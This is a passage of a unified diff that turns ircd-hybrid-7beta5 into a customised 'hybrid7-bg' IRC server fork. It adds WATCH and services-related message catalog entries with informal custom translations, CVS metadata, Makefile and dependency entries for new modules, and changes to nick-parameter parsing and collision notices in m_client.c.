+msgid   ":%s 499 %s %s :Accepts messages from registered nicks only"
+msgstr  ":%s 499 %s %s :Identify first and then try again to msg me"
+
+#: ../src/messages.tab:531
+#, c-format
+msgid	":%s 500 %s %s :Maximum size for WATCH-list is 128 entries"
+msgstr	""
+
 #: ../src/messages.tab:532
 #, c-format
 msgid	":%s 501 %s :Unknown MODE flag"
@@ -788,7 +885,47 @@
 msgid	":%s 504 %s %s :User is not on this server"
 msgstr	""
 
-#: ../src/messages.tab:536
+#: ../src/messages.tab:631
 #, c-format
-msgid	":%s 505 %s :Last Error Message"
+msgid	":%s 600 %s %s %s %s %d :logged online"
+msgstr	""
+
+#: ../src/messages.tab:632
+#, c-format
+msgid	":%s 601 %s %s %s %s %d :logged offline"
+msgstr	""
+
+#: ../src/messages.tab:633
+#, c-format
+msgid	":%s 602 %s %s %s %s %d :stopped watching"
+msgstr	""
+
+#: ../src/messages.tab:634
+#, c-format
+msgid	":%s 603 %s :You have %d and are on %d WATCH entries"
+msgstr	""
+
+#: ../src/messages.tab:635
+#, c-format
+msgid	":%s 604 %s %s %s %s %d :is online"
+msgstr	""
+
+#: ../src/messages.tab:636
+#, c-format
+msgid	":%s 605 %s %s %s %s %d :is offline"
+msgstr	""
+
+#: ../src/messages.tab:637
+#, c-format
+msgid	":%s 606 %s :%s"
+msgstr	""
+
+#: ../src/messages.tab:638
+#, c-format
+msgid	":%s 607 %s :End of WATCH %c"
+msgstr	""
+
+#: ../src/messages.tab:639
+#, c-format
+msgid	":%s 608 %s :Last Error Message"
 msgstr	""
diff -uNrd ircd-hybrid-7beta5/messages/custom.po hybrid7-bg/messages/custom.po
--- ircd-hybrid-7beta5/messages/custom.po	Mon Apr 30 11:52:57 2001
+++ hybrid7-bg/messages/custom.po	Wed Jul 24 09:08:43 2002
@@ -5,7 +5,7 @@
 #, fuzzy
 msgid	""
 msgstr	"Project-Id-Version: ircd-hybrid-7\n"
-	"POT-Creation-Date: 2001-02-20 21:53-0500\n"
+	"POT-Creation-Date: 2001-06-18 20:23-0400\n"
 	"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
 	"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
 	"Language-Team: LANGUAGE <LL@li.org>\n"
@@ -43,6 +43,11 @@
 msgid	":%s 010 %s %s %d :Please use this Server/Port instead"
 msgstr	""
 
+#: ../src/messages.tab:43
+#, c-format
+msgid	":%s 020 %s %s %s :Your ID and key is"
+msgstr	""
+
 #: ../src/messages.tab:223
 #, c-format
 msgid	":%s 200 %s Link %s%s %s %s"
@@ -60,7 +65,7 @@
 
 #: ../src/messages.tab:226
 #, c-format
-msgid	":%s 203 %s ???? %d %s (%s) %d"
+msgid	":%s 203 %s ???? %s %s (%s) %d"
 msgstr	""
 
 #: ../src/messages.tab:227
@@ -148,6 +153,31 @@
 msgid	":%s 225 %s %c %s %s"
 msgstr	""
 
+#: ../src/messages.tab:249
+#, c-format
+msgid	":%s 226 %s %s"
+msgstr	""
+
+#: ../src/messages.tab:250
+#, c-format
+msgid	":%s 227 %s Services %s"
+msgstr	""
+
+#: ../src/messages.tab:251
+#, c-format
+msgid	":%s 228 %s Equiv %s/%s"
+msgstr	""
+
+#: ../src/messages.tab:252
+#, c-format
+msgid	":%s 229 %s Relay %s"
+msgstr	":%s 229 %s Pseudo server %s"
+
+#: ../src/messages.tab:253
+#, c-format
+msgid	":%s 230 %s Userpar %s %s"
+msgstr	":%s 230 %s USER parms %s %s"
+
 #: ../src/messages.tab:264
 #, c-format
 msgid	":%s 241 %s %c %s * %s %d %s"
@@ -271,6 +301,11 @@
 msgid	":%s 278 %s :Type /%s %s <key> to specify the channel you want"
 msgstr	""
 
+#: ../src/messages.tab:325
+#, c-format
+msgid   ":%s 298 %s %s :has cyrillic-encoded nickname"
+msgstr  ":%s 298 %s %s :is a patriot (uses nick in cyrillic)"
+
 #: ../src/messages.tab:328
 #, c-format
 msgid	":%s 301 %s %s :%s"
@@ -361,6 +396,16 @@
 msgid	":%s 324 %s %s %s %s"
 msgstr	""
 
+#: ../src/messages.tab:353
+#, c-format
+msgid	":%s 326 %s %s :has identified for: %s"
+msgstr	":%s 326 %s %s :bothered to identify for: %s"
+
+#: ../src/messages.tab:354
+#, c-format
+msgid	":%s 327 %s %s :logged on %s from %s"
+msgstr	":%s 327 %s %s :wastes bandwidth on %s from %s"
+
 #: ../src/messages.tab:356
 #, c-format
 msgid	":%s 329 %s %s %lu"
@@ -386,6 +431,16 @@
 msgid	":%s 341 %s %s %s"
 msgstr	""
 
+#: ../src/messages.tab:371
+#, c-format
+msgid	":%s 344 %s %s %s %s %lu"
+msgstr	""
+
+#: ../src/messages.tab:372
+#, c-format
+msgid	":%s 345 %s %s :End of Channel Subst List"
+msgstr	""
+
 #: ../src/messages.tab:373
 #, c-format
 msgid	":%s 346 %s %s %s %s %lu"
@@ -657,6 +712,11 @@
 msgid	":%s 451 %s :You have not registered"
 msgstr	""
 
+#: ../src/messages.tab:481
+#, c-format
+msgid	":%s 452 %s %s :No repeating allowed (+z)"
+msgstr	":%s 452 %s %s :Repeating is lame, foo (+z)"
+
 #: ../src/messages.tab:490
 #, c-format
 msgid	":%s 461 %s %s :Not enough parameters"
@@ -688,6 +748,21 @@
 msgid	":%s 467 %s %s :Channel key already set"
 msgstr	""
 
+#: ../src/messages.tab:497
+#, c-format
+msgid   ":%s 468 %s %s :Cannot send to channel (+M)"
+msgstr  ":%s 468 %s %s :Only those who identify shall talk"
+
+#: ../src/messages.tab:498
+#, c-format
+msgid   ":%s 469 %s %s :Cannot join channel (+R)"
+msgstr  ":%s 469 %s %s :First identify for this nick, d00d"
+
+#: ../src/messages.tab:499
+#, c-format
+msgid	":%s 470 %s %s :Cannot join channel (+C)"
+msgstr	":%s 470 %s %s :We ain't slavonic babe.. and you got cyrillic nick"
+
 #: ../src/messages.tab:500
 #, c-format
 msgid	":%s 471 %s %s :Cannot join channel (+l)"
@@ -761,6 +836,16 @@
 	"(%s)"
 msgstr	""
 
+#: ../src/messages.tab:517
+#, c-format
+msgid	":%s 486 %s %s %s :Cannot kick services bots"
+msgstr	":%s 486 %s %s %s :Shame on you dude.. dont kick services"
+
+#: ../src/messages.tab:518
+#, c-format
+msgid	":%s 487 %s %s %s :Cannot de-op services bots"
+msgstr	":%s 487 %s %s %s :Shame on you dude.. dont deop services"
+
 #: ../src/messages.tab:522
 #, c-format
 msgid	":%s 491 %s :Only few of mere mortals may try to enter the twilight "
@@ -768,6 +853,16 @@
 msgstr	":%s 491 %s :Sorry, you just don't have what it takes to be an IRC "
 	"Operator here."
 
+#: ../src/messages.tab:530
+#, c-format
+msgid   ":%s 499 %s %s :Accepts messages from registered nicks only"
+msgstr  ":%s 499 %s %s :Identify first and then try again to msg me"
+
+#: ../src/messages.tab:531
+#, c-format
+msgid	":%s 500 %s %s :Maximum size for WATCH-list is 128 entries"
+msgstr	""
+
 #: ../src/messages.tab:532
 #, c-format
 msgid	":%s 501 %s :Unknown MODE flag"
@@ -788,7 +883,47 @@
 msgid	":%s 504 %s %s :User is not on this server"
 msgstr	""
 
-#: ../src/messages.tab:536
+#: ../src/messages.tab:631
 #, c-format
-msgid	":%s 505 %s :Last Error Message"
+msgid	":%s 600 %s %s %s %s %d :logged online"
+msgstr	""
+
+#: ../src/messages.tab:632
+#, c-format
+msgid	":%s 601 %s %s %s %s %d :logged offline"
+msgstr	""
+
+#: ../src/messages.tab:633
+#, c-format
+msgid	":%s 602 %s %s %s %s %d :stopped watching"
+msgstr	""
+
+#: ../src/messages.tab:634
+#, c-format
+msgid	":%s 603 %s :You have %d and are on %d WATCH entries"
+msgstr	""
+
+#: ../src/messages.tab:635
+#, c-format
+msgid	":%s 604 %s %s %s %s %d :is online"
+msgstr	""
+
+#: ../src/messages.tab:636
+#, c-format
+msgid	":%s 605 %s %s %s %s %d :is offline"
+msgstr	""
+
+#: ../src/messages.tab:637
+#, c-format
+msgid	":%s 606 %s :%s"
+msgstr	""
+
+#: ../src/messages.tab:638
+#, c-format
+msgid	":%s 607 %s :End of WATCH %c"
+msgstr	""
+
+#: ../src/messages.tab:639
+#, c-format
+msgid	":%s 608 %s :Last Error Message"
 msgstr	""
diff -uNrd ircd-hybrid-7beta5/messages/translations/CVS/Entries hybrid7-bg/messages/translations/CVS/Entries
--- ircd-hybrid-7beta5/messages/translations/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/messages/translations/CVS/Entries	Wed Jul 24 18:32:00 2002
@@ -0,0 +1,10 @@
+/Makefile.in/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/README/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/ircd-croatian.po/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/ircd-danish.po/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/ircd-dutch.po/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/ircd-german.po/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/ircd-norwegian.po/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/ircd-spanish.po/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/ircd-swedish.po/1.1.1.1/Tue Jun  5 16:35:44 2001//
+D
diff -uNrd ircd-hybrid-7beta5/messages/translations/CVS/Repository hybrid7-bg/messages/translations/CVS/Repository
--- ircd-hybrid-7beta5/messages/translations/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/messages/translations/CVS/Repository	Wed Jul 24 18:31:59 2002
@@ -0,0 +1 @@
+hybrid7-bg/messages/translations
diff -uNrd ircd-hybrid-7beta5/messages/translations/CVS/Root hybrid7-bg/messages/translations/CVS/Root
--- ircd-hybrid-7beta5/messages/translations/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/messages/translations/CVS/Root	Wed Jul 24 18:31:59 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/modules/.depend hybrid7-bg/modules/.depend
--- ircd-hybrid-7beta5/modules/.depend	Thu May 10 02:30:40 2001
+++ hybrid7-bg/modules/.depend	Wed Jul 24 09:09:36 2002
@@ -81,6 +81,15 @@
  ../include/irc_string.h ../include/sprintf_irc.h ../include/numeric.h \
  ../include/fdlist.h ../include/s_bsd.h ../include/send.h \
  ../include/msg.h ../include/parse.h ../include/modules.h
+m_conf.o: m_conf.c ../include/handlers.h ../include/client.h \
+ ../include/config.h ../include/setup.h ../include/ircd_defs.h \
+ ../include/ircd_handler.h ../include/linebuf.h ../include/tools.h \
+ ../include/channel.h ../include/res.h ../include/fileio.h \
+ ../include/../adns/adns.h ../include/ircd.h ../include/memory.h \
+ ../include/irc_string.h ../include/sprintf_irc.h ../include/common.h \
+ ../include/numeric.h ../include/send.h ../include/s_conf.h \
+ ../include/motd.h ../include/class.h ../include/s_log.h \
+ ../include/msg.h ../include/parse.h ../include/modules.h
 m_connect.o: m_connect.c ../include/handlers.h ../include/client.h \
  ../include/config.h ../include/setup.h ../include/ircd_defs.h \
  ../include/ircd_handler.h ../include/linebuf.h ../include/tools.h \
@@ -510,6 +519,24 @@
  ../include/numeric.h ../include/send.h ../include/s_conf.h \
  ../include/motd.h ../include/class.h ../include/s_log.h \
  ../include/msg.h ../include/parse.h ../include/modules.h
+m_svsnick.o: m_svsnick.c ../include/handlers.h ../include/client.h \
+ ../include/config.h ../include/setup.h ../include/ircd_defs.h \
+ ../include/ircd_handler.h ../include/linebuf.h ../include/tools.h \
+ ../include/channel.h ../include/res.h ../include/fileio.h \
+ ../include/../adns/adns.h ../include/ircd.h ../include/memory.h \
+ ../include/irc_string.h ../include/sprintf_irc.h ../include/common.h \
+ ../include/numeric.h ../include/send.h ../include/s_conf.h \
+ ../include/motd.h ../include/class.h ../include/s_log.h \
+ ../include/msg.h ../include/parse.h ../include/modules.h
+m_svshint.o: m_svshint.c ../include/handlers.h ../include/client.h \
+ ../include/config.h ../include/setup.h ../include/ircd_defs.h \
+ ../include/ircd_handler.h ../include/linebuf.h ../include/tools.h \
+ ../include/channel.h ../include/res.h ../include/fileio.h \
+ ../include/../adns/adns.h ../include/ircd.h ../include/memory.h \
+ ../include/irc_string.h ../include/sprintf_irc.h ../include/common.h \
+ ../include/numeric.h ../include/send.h ../include/s_conf.h \
+ ../include/motd.h ../include/class.h ../include/s_log.h \
+ ../include/msg.h ../include/parse.h ../include/modules.h
 m_testline.o: m_testline.c ../include/handlers.h ../include/client.h \
  ../include/config.h ../include/setup.h ../include/ircd_defs.h \
  ../include/ircd_handler.h ../include/linebuf.h ../include/tools.h \
@@ -596,6 +623,15 @@
  ../include/s_serv.h ../include/s_user.h ../include/send.h \
  ../include/msg.h ../include/parse.h ../include/modules.h
 m_wallops.o: m_wallops.c ../include/handlers.h ../include/client.h \
+ ../include/config.h ../include/setup.h ../include/ircd_defs.h \
+ ../include/ircd_handler.h ../include/linebuf.h ../include/tools.h \
+ ../include/channel.h ../include/res.h ../include/fileio.h \
+ ../include/../adns/adns.h ../include/ircd.h ../include/memory.h \
+ ../include/irc_string.h ../include/sprintf_irc.h ../include/numeric.h \
+ ../include/send.h ../include/s_user.h ../include/s_conf.h \
+ ../include/motd.h ../include/class.h ../include/msg.h \
+ ../include/parse.h ../include/modules.h
+m_watch.o: m_watch.c ../include/handlers.h ../include/client.h \
  ../include/config.h ../include/setup.h ../include/ircd_defs.h \
  ../include/ircd_handler.h ../include/linebuf.h ../include/tools.h \
  ../include/channel.h ../include/res.h ../include/fileio.h \
diff -uNrd ircd-hybrid-7beta5/modules/CVS/Entries hybrid7-bg/modules/CVS/Entries
--- ircd-hybrid-7beta5/modules/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/modules/CVS/Entries	Wed Sep 18 19:19:46 2002
@@ -0,0 +1,74 @@
+/.depend/1.5/Wed Jul 24 13:09:36 2002//
+/Makefile.in/1.7/Wed Jul 24 13:09:36 2002//
+/m_accept.c/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/m_admin.c/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/m_away.c/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/m_capab.c/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/m_cburst.c/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/m_challenge.c/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/m_cjoin.c/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/m_close.c/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/m_conf.c/1.14/Wed Jul 24 18:10:16 2002//
+/m_connect.c/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/m_cryptlink.c/1.1.1.1/Tue Jun  5 16:35:44 2001//
+/m_die.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_dmem.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_drop.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_eob.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_error.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_gline.c/1.2/Mon Jul  2 04:11:31 2001//
+/m_help.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_info.c/1.2/Wed Jul 10 11:20:55 2002//
+/m_invite.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_ison.c/1.2/Tue Jun 11 01:40:20 2002//
+/m_join.c/1.2/Sat Dec  8 04:12:10 2001//
+/m_kick.c/1.4/Mon Jun 24 04:29:23 2002//
+/m_kill.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_kline.c/1.2/Mon Jul  2 04:11:42 2001//
+/m_knock.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_links.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_list.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_lljoin.c/1.2/Sat Dec  8 04:12:22 2001//
+/m_llnick.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_locops.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_lusers.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_mode.c/1.3/Sun Jun  9 15:15:47 2002//
+/m_motd.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_names.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_nburst.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_oper.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_operwall.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_pass.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_ping.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_pong.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_post.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_quit.c/1.6/Sun Jun  9 15:16:26 2002//
+/m_rehash.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_restart.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_server.c/1.2/Sun Feb 17 05:30:57 2002//
+/m_set.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_sjoin.c/1.7/Thu Jul 11 19:02:08 2002//
+/m_squit.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_stats.c/1.5/Sat Jun  1 07:35:39 2002//
+/m_svinfo.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_svshint.c/1.5/Wed Jul 24 13:09:37 2002//
+/m_svsnick.c/1.3/Wed Jul 24 13:09:37 2002//
+/m_testline.c/1.2/Mon Jul  2 04:11:55 2001//
+/m_time.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_topic.c/1.4/Sun Sep  9 12:15:24 2001//
+/m_trace.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_unkline.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_user.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_userhost.c/1.2/Sun Jun  2 04:57:49 2002//
+/m_users.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_version.c/1.3/Mon Jun 10 04:40:38 2002//
+/m_wallops.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_who.c/1.2/Sun Jun  2 04:57:49 2002//
+/m_whois.c/1.8/Tue Dec  4 04:21:40 2001//
+/m_whowas.c/1.1.1.1/Tue Jun  5 16:35:45 2001//
+/m_client.c/1.9/Wed Sep 18 23:19:46 2002//
+/m_message.c/1.20/Wed Sep 18 23:19:46 2002//
+/m_nick.c/1.10/Wed Sep 18 23:19:46 2002//
+/m_part.c/1.7/Wed Sep 18 23:19:46 2002//
+/m_watch.c/1.3/Wed Sep 18 23:19:46 2002//
+D
diff -uNrd ircd-hybrid-7beta5/modules/CVS/Repository hybrid7-bg/modules/CVS/Repository
--- ircd-hybrid-7beta5/modules/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/modules/CVS/Repository	Wed Jul 24 18:32:00 2002
@@ -0,0 +1 @@
+hybrid7-bg/modules
diff -uNrd ircd-hybrid-7beta5/modules/CVS/Root hybrid7-bg/modules/CVS/Root
--- ircd-hybrid-7beta5/modules/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/modules/CVS/Root	Wed Jul 24 18:32:00 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/modules/Makefile.in hybrid7-bg/modules/Makefile.in
--- ircd-hybrid-7beta5/modules/Makefile.in	Mon May  7 19:51:12 2001
+++ hybrid7-bg/modules/Makefile.in	Wed Jul 24 09:09:36 2002
@@ -1,7 +1,7 @@
 #
 # Makefile.in for ircd/modules
 #
-# $Id: Makefile.in,v 1.39 2001/05/07 23:51:12 androsyn Exp $
+# $Id: Makefile.in,v 1.7 2002/07/24 13:09:36 Administrator Exp $
 #
 CC		= @CC@
 AR		= @AR@
@@ -34,6 +34,7 @@
   m_client.c \
   m_cjoin.c \
   m_close.c \
+  m_conf.c \
   m_connect.c \
   m_cryptlink.c \
   m_die.c \
@@ -78,6 +79,8 @@
   m_squit.c \
   m_stats.c \
   m_svinfo.c \
+  m_svsnick.c \
+  m_svshint.c \
   m_testline.c \
   m_time.c \
   m_topic.c \
@@ -88,6 +91,7 @@
   m_users.c \
   m_version.c \
   m_wallops.c \
+  m_watch.c \
   m_who.c \
   m_whois.c \
   m_whowas.c 
@@ -116,6 +120,10 @@
 
 install_shared_modules:
 	@echo "Installing modules into $(AUTOMODULEDIR) .."
+	@if [ ! -d $(AUTOMODULEDIR) ]; then \
+		echo "mkdir -p $(AUTOMODULEDIR)"; \
+		mkdir -p $(AUTOMODULEDIR); \
+	fi
 	@for file in $(SH_OBJS); do \
 		$(INSTALL_DATA) $$file $(AUTOMODULEDIR); \
 	done
diff -uNrd ircd-hybrid-7beta5/modules/m_accept.c hybrid7-bg/modules/m_accept.c
--- ircd-hybrid-7beta5/modules/m_accept.c	Wed Apr  4 11:22:22 2001
+++ hybrid7-bg/modules/m_accept.c	Tue Jun  5 12:35:44 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_accept.c,v 1.21 2001/04/04 15:22:22 androsyn Exp $
+ *   $Id: m_accept.c,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_admin.c hybrid7-bg/modules/m_admin.c
--- ircd-hybrid-7beta5/modules/m_admin.c	Mon May 14 06:08:55 2001
+++ hybrid7-bg/modules/m_admin.c	Tue Jun  5 12:35:44 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_admin.c,v 1.25 2001/05/14 10:08:55 toot Exp $
+ *   $Id: m_admin.c,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_away.c hybrid7-bg/modules/m_away.c
--- ircd-hybrid-7beta5/modules/m_away.c	Tue Apr 24 05:47:55 2001
+++ hybrid7-bg/modules/m_away.c	Tue Jun  5 12:35:44 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_away.c,v 1.21 2001/04/24 09:47:55 habeeb Exp $
+ *   $Id: m_away.c,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_capab.c hybrid7-bg/modules/m_capab.c
--- ircd-hybrid-7beta5/modules/m_capab.c	Wed Apr  4 11:22:22 2001
+++ hybrid7-bg/modules/m_capab.c	Tue Jun  5 12:35:44 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_capab.c,v 1.17 2001/04/04 15:22:22 androsyn Exp $
+ *   $Id: m_capab.c,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_cburst.c hybrid7-bg/modules/m_cburst.c
--- ircd-hybrid-7beta5/modules/m_cburst.c	Wed Apr  4 11:22:23 2001
+++ hybrid7-bg/modules/m_cburst.c	Tue Jun  5 12:35:44 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: m_cburst.c,v 1.31 2001/04/04 15:22:23 androsyn Exp $
+ * $Id: m_cburst.c,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #include "tools.h"
 #include "channel.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_challenge.c hybrid7-bg/modules/m_challenge.c
--- ircd-hybrid-7beta5/modules/m_challenge.c	Fri Apr 13 18:39:45 2001
+++ hybrid7-bg/modules/m_challenge.c	Tue Jun  5 12:35:44 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_challenge.c,v 1.21 2001/04/13 22:39:45 davidt Exp $
+ *   $Id: m_challenge.c,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #include <stdlib.h>
 #include <string.h>
diff -uNrd ircd-hybrid-7beta5/modules/m_cjoin.c hybrid7-bg/modules/m_cjoin.c
--- ircd-hybrid-7beta5/modules/m_cjoin.c	Mon May 14 06:08:55 2001
+++ hybrid7-bg/modules/m_cjoin.c	Tue Jun  5 12:35:44 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_cjoin.c,v 1.31 2001/05/14 10:08:55 toot Exp $
+ *   $Id: m_cjoin.c,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_client.c hybrid7-bg/modules/m_client.c
--- ircd-hybrid-7beta5/modules/m_client.c	Mon May 14 06:08:55 2001
+++ hybrid7-bg/modules/m_client.c	Wed Sep 18 19:19:46 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_client.c,v 1.22 2001/05/14 10:08:55 toot Exp $
+ *   $Id: m_client.c,v 1.9 2002/09/18 21:36:11 Administrator Exp $
  */
 #include "handlers.h"
 #include "client.h"
@@ -89,14 +89,16 @@
 ** when its a server introducing a new nick
 **      parv[0] = sender prefix
 **      parv[1] = nickname
-**      parv[2] = hop count
+**      parv[2] = hop count (plus shifted svsflags when CAP_SVS-able)
 **      parv[3] = TS
 **      parv[4] = umode
 **      parv[5] = username
 **      parv[6] = hostname
 **      parv[7] = server
 **      parv[8] = ID
-**      parv[9] = ircname
+**      parv[9] = real hostname (when CAP_HOSTMASK-able)
+**      parv[10] = IP (when CAP_IP-able)
+**      parv[11] = ircname
 */
 
 static void ms_client(struct Client *client_p, struct Client *source_p,
@@ -114,8 +116,8 @@
     return;
 #endif
   id = parv[8];
-  name = parv[9];
-  
+  name = (parc > 10)? ((parc > 11)? parv[11] : parv[10]) : parv[9];
+
    /*
    * nick is an auto, need to terminate the string
    */
@@ -173,6 +175,13 @@
                 parv[0], parv[1]);
      parv[6][HOSTLEN] = 0;
     }
+  /* Okay, we should be safe to cut off the real hostname... -demond */
+  if (parc > 10 && strlen(parv[9]) > HOSTLEN)
+    {
+     sendto_realops_flags(FLAGS_ALL, "Long real host from server %s for %s",
+                parv[0], parv[1]);
+     parv[9][HOSTLEN] = 0;
+    }
   /* Okay, we should be safe to cut off the realname... -A1kmm */
   if (strlen(name) > REALLEN)
     {
@@ -212,7 +221,7 @@
       {
         if (!target_p->user)
           {
-            sendto_realops_flags(FLAGS_ALL,
+            sendto_realops_flags(FLAGS_SKILL,
                    "Nick Collision on %s(%s(NOUSER) <- %s!%s@%s)(TS:%s)",
                    target_p->name, target_p->from->name, parv[1], parv[5], parv[6],
                    client_p->name);
@@ -275,7 +284,7 @@
       if (!newts || !target_p->tsinfo
           || (newts == target_p->tsinfo))
 	  {
-          sendto_realops_flags(FLAGS_ALL,
+          sendto_realops_flags(FLAGS_SKILL,
 			   "Nick collision on %s(%s <- %s)(both killed)",
 			   target_p->name, target_p->from->name,
 			   get_client_name(client_p, HIDE_IP));
@@ -318,12 +327,12 @@
           else
             {
               if (sameuser)
-                sendto_realops_flags(FLAGS_ALL,
+                sendto_realops_flags(FLAGS_SKILL,
                        "Nick collision on %s(%s <- %s)(older killed)",
 		       target_p->name, target_p->from->name,
 		       get_client_name(client_p, HIDE_IP));
               else
-                sendto_realops_flags(FLAGS_ALL,
+                sendto_realops_flags(FLAGS_SKILL,
 			     "Nick collision on %s(%s <- %s)(newer killed)",
 			     target_p->name, target_p->from->name,
 			     get_client_name(client_p, HIDE_IP));
@@ -358,7 +367,7 @@
   if ( !newts || !target_p->tsinfo || (newts == target_p->tsinfo) ||
       !source_p->user)
     {
-      sendto_realops_flags(FLAGS_ALL,
+      sendto_realops_flags(FLAGS_SKILL,
 	   "Nick change collision from %s to %s(%s <- %s)(both killed)",
            source_p->name, target_p->name, target_p->from->name,
 	   get_client_name(client_p, HIDE_IP));
@@ -402,12 +411,12 @@
           (!sameuser && newts > target_p->tsinfo))
         {
           if (sameuser)
-            sendto_realops_flags(FLAGS_ALL,
+            sendto_realops_flags(FLAGS_SKILL,
                  "Nick change collision from %s to %s(%s <- %s)(older killed)",
                  source_p->name, target_p->name, target_p->from->name,
                  get_client_name(client_p, HIDE_IP));
           else
-            sendto_realops_flags(FLAGS_ALL,
+            sendto_realops_flags(FLAGS_SKILL,
                  "Nick change collision from %s to %s(%s <- %s)(newer killed)",
                  source_p->name, target_p->name, target_p->from->name,
                  get_client_name(client_p, HIDE_IP));
@@ -433,12 +442,12 @@
       else
         {
           if (sameuser)
-            sendto_realops_flags(FLAGS_ALL,
+            sendto_realops_flags(FLAGS_SKILL,
                                "Nick collision on %s(%s <- %s)(older killed)",
                                target_p->name, target_p->from->name,
                                get_client_name(client_p, HIDE_IP));
           else
-            sendto_realops_flags(FLAGS_ALL,
+            sendto_realops_flags(FLAGS_SKILL,
